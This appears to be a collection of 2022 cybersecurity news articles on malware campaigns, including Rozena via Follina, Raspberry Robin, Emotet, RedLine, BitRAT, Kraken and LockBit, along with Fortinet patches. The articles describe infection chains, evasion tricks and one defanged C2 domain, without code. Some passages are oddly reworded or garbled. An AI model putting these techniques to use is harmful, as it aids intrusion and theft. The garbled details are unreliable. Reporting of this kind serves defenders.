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Rozena Backdoor Deployed by Abusing the Follina Vulnerability

 

A newly discovered phishing campaign is exploiting the Follina security vulnerability to deploy a private backdoor, named Rozena on the Windows systems. 

"Rozena is a backdoor malware that is capable of injecting a remote shell connection back to the attacker's machine," Cara Lin, a researcher at Fortinet FortiGuard Labs stated in a report published this week. 

Tracked as CVE-2022-30190, the security bug is related to the Microsoft Support Diagnostic Tool (MSDT) that impacts Windows 7, Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2012, Windows Server 2016, Windows Server 2019, and Windows Server 2022. The vulnerability came to light in late May 2022 but the root cause of the flaw has been known for at least a couple of years. 

The latest attack chain is a weaponized Office document that, when opened, links to a Discord CDN URL to retrieve an HTML file ("index.htm") that, in turn, triggers the diagnostic utility employing a PowerShell command to download next-stage payloads from the same CDN attachment space. 

This includes the Rozena implant ("Word.exe") and a batch file ("cd.bat") that's designed to terminate MSDT processes, establish the backdoor's persistence by means of Windows Registry modification, and download a harmless Word document as a decoy. 

The primary function of the Rozena backdoor is to inject a shellcode that launches a reverse shell to the hacker’s device (“microsofto.duckdns[.]org”), in this way the malicious actor can secure full control of the system. 

The exploitation of the Follina security bug is done by distributing the malware via malicious word documents. The word documents act as a dropper and are distributed through emails that contains a password-encrypted ZIP as an attachment, an HTML file, and a link to download, in the body of the email. Multiple malware such as Emotet, QBot, IcedID, and Bumblebee are then injected into the victim’s device. 

According to researchers, the assaults discovered in early April primarily featured Excel files with XLM macros. Microsoft's decision to block macros by default around the same time is said to have forced the hackers to shift to alternative techniques like HTML smuggling as well as .LNK and .ISO files. 

“CVE-2022-30190 is a high-severity vulnerability that lets a malicious actor deliver malware through an MS Word document. Microsoft already released a patch for it on June 14, 2022. In this blog, we showed how an attacker exploits Follina and included details of Rozena and the SGN ShellCode. Users should apply the patch immediately and also apply FortiGuard protection to avoid the threat,” the researcher concluded.

Fortinet Fix Multiple Path Traversal Vulnerabilities

 

Fortinet has patched a slew of security flaws in many of its endpoint security products. On Tuesday, the California-based cybersecurity behemoth, which accounts for more than a third of all firewall and unified threat management deployments globally, published a massive number of firmware and software upgrades (July 5). 

Multiple relative route traversal faults in FortiDeceptor's administrative interface, which sets up virtual computers that act as honeypots for network intruders, are among a quartet of high-severity problems (CVE-2022-30302). 

According to the accompanying Fortinet alert, abusing these may permit a remote and authorised attacker to obtain and delete arbitrary files from the underlying filesystem using carefully crafted web requests. Similarly, path traversal in the named pipe responsible for the FortiESNAC service might allow attackers to gain privilege escalation in Windows versions of the endpoint security and VPN application FortiClient (CVE-2021-41031). 

Meanwhile, the FortiNAC network access control system was vulnerable to a "empty password in configuration file vulnerability," which allowed an authorised attacker to access the MySQL databases via the command line interface (CLI) (CVE-2022-26117). 

Additional flaws

The other high severity issue, which affects the FortiAnalyzer security event analysis appliance, the FortiManager network management device, the FortiOS operating system, and the FortiProxy web proxy, "may allow a privileged attacker to execute arbitrary code or command via crafted CLI 'execute restore image' and 'execute certificate remote' TFTP protocol operations" (CVE-2021-43072). 

Meanwhile, FortiEDR endpoint security solution cross-site scripting (XSS) vulnerabilities (CVE-2022-29057); a privilege escalation issue in FortiManager and FortiAnalyzer (CVE-2022-26118); and stack-based buffer overflows in diagnostic CLI commands impacting FortiOS and FortiProxy (CVE-2022-26118) (CVE-2021-44170). 

The sixth and final medium severity problem affects FortiOS, FortiProxy, FortiSwitch ethernet switches, the FortiRecoder video surveillance system, and the FortiVoiceEnterprise communications system (CVE-2021-42755). Last but not least, a low severity XSS vulnerability impacts FortiOS (CVE-2022-23438).

Microsoft Detects Raspberry Robin Worm in Windows Networks

According to Microsoft, a recently detected Windows worm has been discovered on the networks of hundreds of firms from numerous industry sectors. 

The malware, called Raspberry Robin, spreads via infected USB devices and was discovered by Red Canary intelligence experts in September 2021.] In early November, cybersecurity company Sekoia detected it using QNAP NAS devices as command and control servers (C2) servers, while Microsoft stated it discovered harmful artefacts tied to this worm produced in 2019. 

Redmond's findings are consistent with those of Red Canary's Detection Engineering team, which discovered this worm on the networks of several clients, including several in the technology and manufacturing industries. Despite the fact that Microsoft saw the malware communicating to Tor network addresses, the threat actors are yet to exploit the access they gained to their victims' networks. 

As already mentioned, Raspberry Robin is spreading to new Windows frameworks by means of contaminated USB drives containing a noxious .LNK document. When the USB gadget is joined and the user taps the link, the worm brings forth a msiexec interaction utilizing cmd.exe to send off a noxious document put away on the contaminated drive. It infects new Windows gadgets, speaks with its order and control servers (C2), and executes noxious payloads utilizing a few genuine Windows utilities: 
  • fodhelper (a trusted binary for managing features in Windows settings),
  • msiexec (command line Windows Installer component),
  • and odbcconf (a tool for configuring ODBC drivers).
"While msiexec.exe downloads and executes legitimate installer packages, adversaries also leverage it to deliver malware," Red Canary researchers explained. "Raspberry Robin uses msiexec.exe to attempt external network communication to a malicious domain for C2 purposes."

Security specialists who have seen Raspberry Robin in the wild are yet to link the malware to a threat group and are yet dealing with tracking down its administrators' ultimate objective. In any case, Microsoft has labelled this mission as high-risk, considering that the attackers could download and convey extra malware inside the casualties' organizations and heighten their honours anytime.

Hackers are Using LNK Files to Deploy Malicious Payload

 

Earlier this month, researchers at McAfee Labs spotted a sophisticated technique where hackers employed email spam and malicious URLs to deliver LNK files to victims. The files command authentic applications like PowerShell, CMD, and MSHTA to download malicious files. 

LNK files are shortcut files that link to an application or file commonly found on a victim’s desktop or throughout a system and end with an .LNK extension. LNK files can be created by the user or automatically by the Windows operating system. 

To identify the true nature of these files we will go through recently identified Emotet malware. In this particular campaign, the hacker targets the victims’ by manually accessing the attached LNK file. Threat actor replaces the original shortcut icon with that of a .pdf file, so that the unsuspecting victim, once they receive the email attachment, can’t spot the difference with a basic visual inspection. 

But the threat is real. Windows shortcut files can be employed to deploy pretty much any malware onto the target endpoint, and in this case, the Emotet payload is downloaded into the victim’s %TEMP% directory. If successful, the malware will be loaded into memory using “regsvr32.exe”, while the original dropper gets deleted from the %TEMP% directory. 

Precautionary tips 

Emotet is a sophisticated and long-lasting malware that has impacted users globally. Threat Actors are constantly adapting their techniques to stay one step ahead of cybersecurity researchers. McAfee Labs is continuously monitoring the activity of Emotet and has published the guidelines to protect users from malware infection. 

• It is important to note that Emotet is an endpoint threat spread via email, therefore endpoint detection and response (EDR) and antivirus tooling are imperative to disrupting this threat. 

• Don’t keep important files in common locations such as the Desktop, My Documents, etc. 

• Use strong passwords and enforce multi-factor authentication wherever possible. 

• Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic. 

• Use a trusted anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile. 

• Avoid clicking on untrusted links and email attachments without verifying their authenticity. 

• Conduct regular backup practices and keep those backups offline or in a separate network.

Backdoor Installed by HelloXD Ransomware , Directed Windows and Linux Devices

 

HelloXD is ransomware that first appeared in November 2021 and does double extortion assaults. Researchers discovered several variations that affect Windows and Linux computers. 

According to a recent analysis from Palo Alto Networks Unit 42, the malware's creator has developed a new encryptor with unique packing for detection avoidance and encryption algorithm tweaks. This is a substantial deviation from the Babuk code, indicating the author's goal to create a new ransomware strain with possibilities and characteristics to allow for more attacks. 

HelloXD ransomware threat 

HelloXD first emerged to the public on November 30, 2021, and is based on Babuk's leaked code, which was published in September 2021 on a Russian-language cybercrime site. 

Palo Alto Networks Unit 42 security researchers Daniel Bunce and Doel Santos said, "Unlike other ransomware, this ransomware does not have an active leak site; instead, it prefers to direct the infected victim to negotiations via Tox chat and onion-based messaging instances." 

The operators of the ransomware family are no exception since they used double extortion to extort cryptocurrencies by exfiltrating a victim's personal data, encrypting key, performing cyber espionage, and threatening to publish it.MicroBackdoor is an open-source malware used for command-and-control (C2) communications to browse the infected system, exfiltrate files, execute orders, and remove traces, according to its developer Dmytro Oleksiuk. 

In March 2022, the Belarusian threat actor nicknamed Ghostwriter (aka UNC1151) used multiple forms of the implant in its cyber operations against Ukrainian governmental agencies. The features of MicroBackdoor allow a hacker to explore the file system, upload and download files, run commands, and delete traces of its activity from compromised PCs. 

Hello XD is a harmful ransomware project in its early stages that is now being deployed in the field. Although infection volumes aren't high now, its active and targeted development paves the way for a more harmful state. By piecing together the actor's digital trail, Unit 42 said it connected the likely Russian vendor behind HelloXD — who passes by the online aliases x4k, L4ckyguy, unKn0wn, unk0w, _unkn0wn, and x4kme — to further cybercriminals like selling proof-of-concept (PoC) exploits and custom Kali Linux distributions using malicious software. 

During 2019 and 2021, the average lifespan of an enterprise ransomware attack — that is, the period between initial access and ransomware distribution — decreased by 94.34 percent, from nearly two months to just 3.85 days, according to a new report by IBM X-Force.

The role of initial access brokers (IABs) in getting access to victim networks and then selling that access to associates, who then misuse the foothold to install ransomware payloads, has been attributed to the enhanced speed and efficiency trends in the ransomware-as-a-service (RaaS) ecosystem. 

Overall, the data theft by threat actor appears skilled and capable of moving Hello XD forward, so analysts should keep a close eye on its progress.

Using Blatant Code, a New Nokoyawa Variant Sneaks up on Peers

 

Nokoyawa is a new malware for Windows that first appeared early this year. The first samples gathered by FortiGuard researchers were constructed in February 2022 and contain significant coding similarities with Karma ransomware that can be traced back to Nemty via a long series of variants. 

NOKOYAWA is a ransomware-type piece of malware that the research team discovered and sampled from VirusTotal. It's made to encrypt data and then demands payment to decode it. 

FortiGuard Labs has seen versions constructed to run only on 64-bit Windows, unlike its precursor Karma, which runs on both 32-bit and 64-bit Windows. For customized executions, Nokoyawa provides many command-line options: help, network, document, and Encrypt a single file using the path and dir dirPath. 

Nokoyawa encrypts all local disks and volumes by default if no argument is provided. The "-help" argument is intriguing because it shows that the ransomware creators and the operators who deploy and execute the malware on affected PCs are two independent teams. Nokoyawa encrypts files that do not end in.exe,.dll, or.lnk extensions using multiple threads for speed and efficiency. Furthermore, by verifying the hash of its names with a list of hardcoded hashes, some folders, and their subdirectories are prohibited from encryption.

Nokoyawa produces a fresh ephemeral keypair (victim file keys) for each file before encrypting it. A 64-byte shared secret is produced with Elliptic-Curve Diffie-Hellmann using the victim file's private key and the threat actors' "master" public key (ECDH). For encrypting the contents of each file, the first 32 bytes of this secret key are used as a Salsa20 key, together with the hardcoded nonce 'lvcelvce.' 

RURansom, A1tft, Kashima, and pEaKyBlNdEr are just a few of the ransomware programs that have been looked into. The encryption algorithms they utilize (symmetric or asymmetric) and the ransom size are two key variations between malicious applications of this type. The magnitude of the requested sum can vary dramatically depending on the intended victim. 

How does ransomware get into my system? 

The majority of the additional code was taken exactly from publicly available sources, including the source of the now-defunct Babuk ransomware leaked in September 2021, according to FortiGuard Labs experts. 

Malware including ransomware is spread using phishing and social engineering techniques. Malicious software is frequently disguised as or integrated with legitimate files. 

The email addresses were eliminated and were replaced with directions to contact the ransomware authors using a TOR browser and a.onion URL. When you're at the Onion URL, you'll be taken to a page with an online chatbox where you can chat with the operators, negotiate and pay the ransom. 

Researchers from FortiGuard Labs detected a dialogue between a potential victim and the ransomware operator. The threat actors offer free decryption of up to three files based on this chat history to demonstrate that they can decrypt the victim's files.

The ransom amount, in this case, a whopping 1,500,000 (likely in USD), is displayed on the "Instructions" page and can be paid in either BTC (Bitcoin) or XMR(Monero). The operators claim to deliver the tool to decrypt the victim's files after payment.

Given the rising professionalism of certain ransomware efforts, this TOR website could be an attempt to better "branding" or a technique to delegate ransom discussions to a separate team. Surprisingly, the ransom note contains the following content. "Contact us to strike a deal or we'll publish your black s**t to the media," the message says, implying that the victim's data was stolen during the infection.

Drive-by (stealthy and deceptive) downloads, spam email (malicious files attached to or compromised websites linked in emails/messages), untrustworthy download channels (e.g., peer-to-peer sharing networks, unofficial and freeware sites, etc.), illegal software activation ("cracking") tools, online scams, and fake updates are among the most common distribution methods. 

How can we defend from ransomware?

It is strongly advised you only use legitimate and trusted download sources. Furthermore, all apps must be activated and updated through tools given by genuine providers, as third-party tools may infect the system. 

Experts also recommend against opening attachments or links received in questionable emails or messages, as they may contain malware. It is critical to install and maintain a reliable anti-virus program. 

Regular system scans and threats/issues must be removed using security software. If the machine has already been infected with NOKOYAWA, we recommend using Combo Cleaner Antivirus for Windows to automatically remove it.

This New Raspberry Robin Worm Utilizes Windows Installer to Drop Malware

 

A new Windows malware with worm capabilities has been identified by Red Canary intelligence investigators, and it spreads via external USB sticks. This malware is associated with the Raspberry Robin malware cluster, which was initially discovered in September 2021. (cybersecurity firm Sekoia tracks this malware as "QNAP worm"). 

The worm was discovered in many customers' networks by Red Canary's Detection Engineering team, including companies in the technology and manufacturing sectors. When a USB drive carrying a malicious.LNK file is attached, Raspberry Robin spreads to new Windows systems.

The worm launches a new process using cmd.exe to launch a malicious file stored on the infected drive after it has been attached. It reaches out to its command-and-control (C2) servers via Microsoft Standard Installer (msiexec.exe), which are most likely hosted on infected QNAP devices and utilise TOR exit nodes as additional C2 infrastructure. 

The researchers said, "While msiexec.exe downloads and executes legitimate installer packages, adversaries also leverage it to deliver malware. Raspberry Robin uses msiexec.exe to attempt external network communication to a malicious domain for C2 purposes." 

They believe the malware downloads a malicious DLL file [1, 2] on affected workstations to resist eradication between restarts, albeit they haven't determined how it achieves persistence. This DLL is started by Raspberry Robin using two other trusted Windows utilities: fodhelper (a trusted binary for controlling features in Windows settings) and odbcconf (a tool for configuring ODBC drivers). 

The first permits it to get through User Account Control (UAC), while the second assists in the execution and configuration of the DLL. While Red Canary analysts have been able to extensively examine what the newly found malware performs on affected systems, some questions remain unanswered. 

The researchers stated, "First and foremost, we don't know how or where Raspberry Robin infects external drives to perpetuate its activity, though it's likely this occurs offline or otherwise outside of our visibility. We also don't know why Raspberry Robin installs a malicious DLL. One hypothesis is that it may be an attempt to establish persistence on an infected system, though additional information is required to build confidence in that hypothesis." 

Red Canary's report contains more technical details on the Raspberry Robin worm, including indicators of compromise (IOCs) and an ATT&CK of this malware.

Latest Phishing Campaign Deploys Malware and Steals Critical Information

A phishing campaign on a massive scale is targeting Windows PC and wants to deploy malware that can hack usernames, passwords, contents of the crypto wallets, and credit card credentials. Malware named RedLine Stealer is provided as a malware-as-a-service scheme, giving amateur level cybercriminals the option to steal various kinds of critical personal information, for amounts as much as $150. The malware first surfaced in 2020, but RedLine recently added a few additional features and is widely spread in large-scale spam campaigns in April. 

The phishing email campaign includes a malicious attachment which, if active, starts the process of deploying malware. Hackers target users (mostly) from Europe and North America. The malware uses CVE-2021-26411 exploits discovered in Internet Explorer to send the payload. The vulnerability was revealed last year and patched, to limit the malware's impact on users who are yet to install the security updates. Once executed, RedLine Stealer does starting recon against the target system, looking for information that includes usernames, the type of browser that the user has, and if an antivirus is running in the system. 

After that, it finds information to steal and then extracts passwords, credit card data, and cookies stored in browsers, crypto wallets, VPN login credentials, chat logs, and information from files. Redline can be bought from the dark web, hackers are offered services on different hierarchical levels, this shows how easy it has become to buy malware. Even noob hackers can rent the software for $100 or get a lifetime subscription for $800. 

The malware is very simple, but very effective, as it can steal vast amounts of data, and inexperienced hackers can take advantage of this. ZDNet reports "it's possible to protect against Redline by applying security patches, particularly for Internet Explorer, as that will prevent the exploit kit from taking advantage of the CVE-2021-26411 vulnerability." The users should keep their operating systems updated, anti-virus and apps updated, to prevent known vulnerabilities from getting exploited for distributing malware.

Emotet is Evolving with Different Delivery Methods

 

Emotet is a well-known botnet and trojan which distributes follow-on malware via Windows platforms.  After a 10-month pause amid a coordinated law enforcement operation to take down its assault infrastructure, Emotet, the work of a cybercrime organization known as TA542 (formerly known as Mummy Spider or Gold Crestwood), marked its comeback late last year. 

Since then, Emotet campaigns have sent tens of thousands of messages to thousands of clients across many geographic regions, with message volumes exceeding one million in some situations. The threat actor behind the popular Emotet botnet is experimenting with new attack methods on a small scale before incorporating them into larger-scale spam campaigns, possibly in response to Microsoft's decision to deactivate Visual Basic for Applications (VBA) macros by default across all of its products.

According to analysts, the malicious actors behind Emotet, TA542, are experimenting with new approaches on a micro level before deploying them on a larger scale. The current wave of attacks is claimed to have occurred between April 4 and April 19, 2022, when prior large-scale Emotet campaigns were halted. 

Researchers from Proofpoint discovered numerous distinguishing characteristics in the campaign, including the usage of OneDrive URLs rather than Emotet's traditional dependence on Microsoft Office attachments or URLs connecting to Office files. Instead of Emotet's previous use of Microsoft Excel or Word documents with VBA or XL4 macros, the campaign employed XLL files, which are a sort of dynamic link library (DLL) file designed to expand the capability of Excel.

Alternatively, these additional TTPs could mean the TA542 is now conducting more targeted and limited-scale attacks in addition to the traditional mass-scale email operations. The lack of macro-enabled Microsoft Excel or Word document attachments is a notable departure from prior Emotet attacks, implying the threat actor is abandoning the tactic to avoid Microsoft's intentions to disable VBA macros by default beginning April 2022. 

The development came after the virus writers addressed an issue last week which prevented potential victims from being compromised when they opened weaponized email attachments.

Emotet Malware: Shut Down Last Year, Now Showing a Strong Resurgence

 

The notorious Emotet malware operation is exhibiting a strong resurgence more than a year after being effectively shut down. Check Point researchers put the Windows software nasty at the top of their list as the most commonly deployed malware in a March threat index, threatening or infecting as many as 10% of organisations around the world during the month – an almost unbelievable figure, and more than double that of February. 

Now, according to Kaspersky Labs, a swiftly accelerating and sophisticated spam email campaign is intriguing targets with fraudulent emails designed to swindle them into unpacking and installing Emotet or Qbot malware, which can steal data, collect information on a compromised corporate network, and move laterally through the network to install ransomware or other trojans on networked computers. 

Qbot, which is associated with Emotet's operators, is also capable of accessing and stealing emails. In a blog post this week, Kaspersky's email threats protection group manager, Andrey Kovtun, stated. In February, Kaspersky discovered 3,000 malicious Emotet-linked emails, followed by 30,000 a month later, in languages including English, French, Italian, Polish, Russian, and Spanish. 

Kovtun wrote, "Some letters that cybercriminals send to the recipients contain a malicious attachment. In other cases, it has a link which leads to a file placed in a legitimate popular cloud-hosting service. Often, malware is contained in an encrypted archive, with the password mentioned in the e-mail body." 

The spam email often claims to include essential information, such as a commercial offer, in order to persuade the recipient to open the attachment or download the harmful file via the link. "Our experts have concluded that these e-mails are being distributed as part of a coordinated campaign that aims to spread banking Trojans," he wrote further. 

Cryptolaemus, a group of security researchers and system administrators formed more than two years ago to combat Emotet, announced on Twitter this week that one of the botnet subgroups has switched from 32-bit to 64-bit for loaders and stealer modules, indicating the botnet's operators' continued development. Emotet immediately resurfaced in the malware world's upper echelons. Europol, along with police departments from the United States, Germany, the United Kingdom, and Ukraine, completed a multinational takedown of the primary botnet deploying Emotet in February 2021. Raids on the accused operators' houses in Ukraine were part of the operation. 

The raid, according to Europol, substantially impacted Emotet's operations, which were used to infiltrate thousands of firms and millions of computers around the world. However, in publishing its March threat index, Check Point Research stated that Emotet resurfaced in November 2021 and has gained traction after the Trickbot botnet infrastructure was shut down in February. It is once again the most common malware. 

The researchers wrote, "This was solidified even further [in March] as many aggressive email campaigns have been distributing the botnet, including various Easter-themed phishing scams exploiting the buzz of the festivities. These emails were sent to victims all over the world with one such example using the subject 'Buona Pasqua, happy easter,' yet attached to the email was a malicious XLS file to deliver Emotet." 

This New Malware Uses Windows Bugs to Conceal Scheduled Tasks

 

Microsoft has found a new malware employed by the Chinese-backed Hafnium hacking group to create and hide scheduled activities on compromised Windows PCs in order to sustain persistence. 

Cyberespionage attacks by the Hafnium threat group have previously targeted US defence businesses, think tanks, and researchers. It's also one of the state-sponsored groups Microsoft has tied to the global exploitation of the ProxyLogon zero-day vulnerability, which affected all supported Microsoft Exchange versions last year. 

The Microsoft Detection and Response Team (DART) stated, "As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defence evasion malware called Tarrask that creates 'hidden' scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification." 

Tarrask, a hacking tool, hides them from "schtasks /query" and Task Scheduler by removing the related Security Descriptor registry value, which is a previously undiscovered Windows flaw. 

By re-establishing dropped connections to command-and-control (C2) infrastructure, the threat group was able to keep access to the infected devices even after reboots. While the Hafnium operators could have deleted all on-disk artefacts, including all registry keys and the XML file uploaded to the system folder, this would have destroyed persistence between restarts. 

The "hidden" tasks can only be discovered by performing a manual search of the Windows Registry for scheduled tasks that do not have an SD (security descriptor) Value in their Task Key. 

Admins can additionally check for important events associated to tasks "hidden" by Tarrask malware by enabling the Security.evtx and Microsoft-Windows-TaskScheduler/Operational.evtx logs. Microsoft also suggests setting logging for 'TaskOperational' in the Microsoft-Windows-TaskScheduler/Operational Task Scheduler log and keeping an eye on outbound connections from crucial Tier 0 and Tier 1 assets. 

DART added, "The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with C&C infrastructure. We recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique."

The Wizard of Deception: Jupyter Infostealer

 

Researchers recently discovered a new variant of SolarMarker, a malware family which is mostly transmitted using SEO manipulation to persuade people into downloading malicious documents. SolarMarker uses defense evasion to extract auto-fill data, saved passwords, and stored credit card information from victims' web browsers. It offers extra features which are unusual to be seen in info stealers, such as file transfer and command execution from a C2 server.

Jupyter packaged itself with legal executables when it was first detected towards the end of 2020. When it was run, it revealed a PowerShell script that had been obfuscated. The threat group is improving layers of stealth and obfuscation, such as loading the Jupyter Dynamic-Link Library (.DLL) into memory rather than writing the file to disk. Now, it is frequently packaged in massive Windows® installer packages (.MSI) which can reach 100 MB in size. 

To further conceal its motives, these packages are still integrated with legitimate software and signed with valid digital certificates. The installer will load and seek to install the bundled genuine application after installation. However, buried deep within the Trojan installer's code is a small, extensively obfuscated, and encrypted PowerShell script which runs in the background. 

Jupyter has masked itself as a variety of programs and installers. The malware's main file extension has been changed to.MSI, and it executes its obfuscated PowerShell script via several techniques. Jupyter is usually hosted on phony downloading websites which pose as real hosts. These websites typically offer a free PDF book. These can be accessed accidently by a victim or via a link in a spam email. 

It is often packaged with freeware software and certified with unrevoked digital certificates, making the installation appear more authentic. When the Windows installer package is loaded, it will present an installer pop-up for the targeted legitimate application, while loading data and running in the background. 

Jupyter has deployed itself in a variety of ways in the past campaign. The malware usually has two primary files: 
  • An executable and a Windows PowerShell script that contains the harmful code.
  • Some Jupyter variants have also dumped a temporary file (.TMP) into the victim’s %AppData%\Roaming\Temp\ directory, to construct the normal content of Jupyter's main malicious PowerShell script. 

PowerShell is used by the virus to conceal and execute its harmful code without ever publishing itself to disk on the victim's PC. It avoids writing to disk by loading Jupyter's DLL into memory reflectively. DLLs are usually injected into a process from a file written to a disk. 

Reflective DLL injection is a technique for injecting code into a victim process directly from memory rather than from disk. Because the fully un-obfuscated malware does not live on disk, it necessitates the creation of a persistence mechanism, such as registry keys that reload the malware when the victim machine boots up. As a result, Jupyter DLL is difficult to both identify and use. 

Jupyter's basic PowerShell may be split down into six different phases or components. Each phase aids in the achievement of a given objective, function, or capability. Though many Jupyter samples follow the same procedures, differences in Jupyter's PowerShell code exist, and certain samples have been observed to work in slightly different methods to achieve the same goals. 

One can make a modest tweak to the attacker's PowerShell script to save the assembly to disk instead of loading it into memory. This will also assist us in comprehending the operation of this version of SolarMarker. One can see the decompiled code, as well as the names of the classes and functions, are incorrect. Instead, they appear to be obfuscated. 

The SolarMarker backdoor is a.NET C2 client which uses an encrypted channel to interact with the C2 server. HTTP is used for communication, with POST requests being the most common. The data is secured with RSA encryption and symmetric encryption using the Advanced Encryption Standard (AES). Internal reconnaissance is carried out by the client, who gathers basic information about the victim's system and exfiltrates it through an existing C2 channel. The infostealer module has a structure that is quite identical to the backdoor module we discussed earlier, but it has more features.

By reading files relevant to the target browser, the SolarMarker infostealer module obtains login data, cookies, and web data (auto-fill) from web browsers. To decrypt the credentials, SolarMarker uses the API method CryptUnprotectData (DPAPI). 

The usefulness of behavior-based detectors in reducing the stay time of threats inside a network has been recognized by the security industry in recent years. 

BitRAT Malware Spreading Via Unofficial Microsoft Windows Activators

 

A new BitRAT malware distribution campaign is ongoing, targeting people who want to utilise unauthorised Microsoft licence activators to activate unlicensed Windows OS versions for free. 

BitRAT is a strong remote access trojan that can be purchased for as little as $20 (lifetime access) on cybercrime forums and dark web markets. As a result, each buyer has their own malware dissemination strategy, which may include phishing, watering holes, or trojanized software. Threat actors are delivering BitRAT malware as a Windows 10 Pro licence activator on webhards in a new BitRAT malware distribution campaign identified by AhnLab researchers. 

Webhards are popular online storage services in South Korea that receive a steady stream of visitors via direct download links posted on social media platforms or Discord. Threat actors are increasingly exploiting webhards to deliver malware due to their widespread use in the region. Based on some of the Korean characters in the code snippets and how it was distributed, the actor behind the current BitRAT campaign appears to be Korean. To use Windows 10, one must first purchase and activate a Microsoft licence. 

While there are ways to get Windows 10 for free, one must have a valid Windows 7 licence to do so. Those who don't want to deal with licencing concerns or who don't have a licence to upgrade frequently resort to pirating Windows 10 and using unapproved activators, many of which are infected with malware.'W10DigitalActiviation.exe' is the malicious file presented as a Windows 10 activator in this campaign, and it has a simple GUI with a button to "Activate Windows 10." 

Rather than activating the Windows licence on the host system, the "activator" will download malware from a threat actors' hardcoded command and control server. The retrieved payload is BitRAT, which is installed as 'Software Reporter Tool.exe' in the %TEMP% folder and added to the Startup folder. Exclusions for Windows Defender are also included by the downloader to guarantee that BitRAT is not detected. The downloader deletes itself from the system after the malware installation process is completed, leaving just BitRAT behind. 

BitRAT is marketed as a powerful, low-cost, and versatile malware that can steal a variety of sensitive data from the host computer.BitRAT includes features such as keylogging, clipboard monitoring, camera access, audio recording, credential theft through web browsers, and XMRig coin mining. 

 It also includes a remote control for Windows PCs, hidden virtual network computing (hVNC), and SOCKS4 and SOCKS5 reverse proxy (UDP). On that front, ASEC's investigators discovered considerable code similarities between TinyNuke and its derivative, AveMaria,(Warzone). The RATs' hidden desktop capability is so valuable that some hacking groups, such as the Kimsuky, have included them in their arsenal only to use the hVNC tool.

Bridgestone USA Alleges to be Infiltrated by a LockBit Ransomware Cell

 

The LockBit ransomware gang claims to have infiltrated Bridgestone Americas' network and stolen data. It is an American subsidiary of Bridgestone Corporation, a Japanese tire, and automobile components manufacturer. It is a conglomerate of companies with more than 50 manufacturing locations and 55,000 people spread across America. If the corporation does not pay the ransom, Lock bit operators aim to reveal the private documents by March 15, 2022, 23:59. 

Bridgestone began an investigation into "a potential information security incident" on February 27, which was discovered in the morning hours of the same day. The incident remained unknown until recently when the LockBit ransomware gang claimed responsibility for the attack by adding Bridgestone Americas to its list of victims.

LockBit is one of the most active ransomware groups today, demanding significant sums of money in exchange for stolen data. According to a Kaspersky investigation, the ransomware gang utilizes LockBit, a self-spreading malware that uses tools like Windows Powershell and Server Message Block to proliferate throughout an enterprise. 

As per Dragos' study, the transportation and food and beverage industries were the second and third most targeted industries, respectively. LockBit is currently threatening Bridgestone with the release of their data.

The examination by the tire company indicated the attacker followed a "pattern of behavior" which is usual in ransomware assaults. Bridgestone went on to say the attacker had taken information from a small number of its systems and had threatened to make the stolen data public.

In a statement, the company said they are "committed to conducting a rapid and definitive inquiry to identify as swiftly as possible what precise data was obtained" from their environment. "The security of our teammates, customers, and partners' information is extremely important to Bridgestone."

Despite the fact that the LockBit ransomware gang has primarily targeted the industrial and manufacturing sectors, ransomware like the one utilized by the gang can still infect your PC.

To prevent ransomware criminals from getting into users' accounts, Kaspersky recommends using strong passwords and enabling multi-factor authentication. The antivirus firm also advised having system-wide backups in case data was lost due to malware infection. Additionally, keeping your system configurations up to date and following all security measures will help you avoid being a ransomware victim, saving you a lot of time and aggravation.

New Golang Botnet Drains Windows Users’ Cryptocurrency Wallets

 

A new Golang-based botnet has been ensnaring hundreds of Windows PCs, each time its operators launch a new command and control (C2) server. This previously undiscovered botnet, dubbed Kraken by ZeroFox researchers in October 2021, utilizes the SmokeLoader backdoor and malware downloader to proliferate to new Windows systems. 

The botnet adds a new Registry key after compromising a new Windows device in order to accomplish persistence across system restarts. It also includes a Microsoft Defender exclusion to assure that its installation directory is never examined, and use the hidden attribute to hide its binary in Window Explorer. 

Kraken has a basic feature set that allows attackers to download and run additional malicious payloads on infected devices, such as the RedLine Stealer malware. RedLine is the most extensively used data thief, capable of gathering victims' passwords, browser cookies, credit card information, and cryptocurrency wallet information. 

ZeroFox stated, "Monitoring commands sent to Kraken victims from October 2021 through December 2021 revealed that the operator had focused entirely on pushing information stealers – specifically RedLine Stealer. It is currently unknown what the operator intends to do with the stolen credentials that have been collected or what the end goal is for creating this new botnet." 

The botnet, however, has built-in data-stealing skills and can steal cryptocurrency wallets before dropping other data thieves and cryptocurrency miners. Kraken can steal information from Zcash, Armory, Bytecoin, Electrum, Ethereum, Exodus, Guarda, Atomic, and Jaxx Liberty crypto wallets, according to ZeroFox. This botnet appears to be adding almost USD 3,000 to its masters' wallets every month, according to data obtained from the Ethermine cryptocurrency mining pool. 

The researchers added, "While in development, Kraken C2s seem to disappear often. ZeroFox has observed dwindling activity for a server on multiple occasions, only for another to appear a short time later using either a new port or a completely new IP."

Regardless, "by using SmokeLoader to spread, Kraken quickly gains hundreds of new bots each time the operator changes the C2."

Malicious Excel Files are Now Being Used to Spread Emotet Malware

 

Researchers discovered that the infamous Emotet malware has altered methods yet again, this time in an email campaign propagated by infected Excel files. In a report released online on Tuesday, researchers from Palo Alto Networks Unit 42 detected a new infection strategy for the high-volume malware, which is known to alter and change its attack vectors to avoid detection and continue its malicious job. 

Emotet was found in 2014 as a banking trojan, and it has been quite active in recent years. The Emotet botnet infrastructure was taken down in January 2021 by law enforcement and judicial agencies, but Emotet resurfaced in November 2021 and has remained active since then. Thread hijacking is a common attack tactic used by Emotet. This method generates bogus responses based on legitimate emails obtained from mail clients of Emotet-infected Windows hosts. This stolen email data is used by the botnet to generate false replies imitating the original senders. 

The new attack vector, found on December 21 and still active, sends an Excel file with an obfuscated Excel 4.0 macro via socially engineered emails. These macros are an ancient Excel feature that malicious actors routinely exploit. Before the malicious content can be activated, the victim must enable macros on a vulnerable Windows host. 

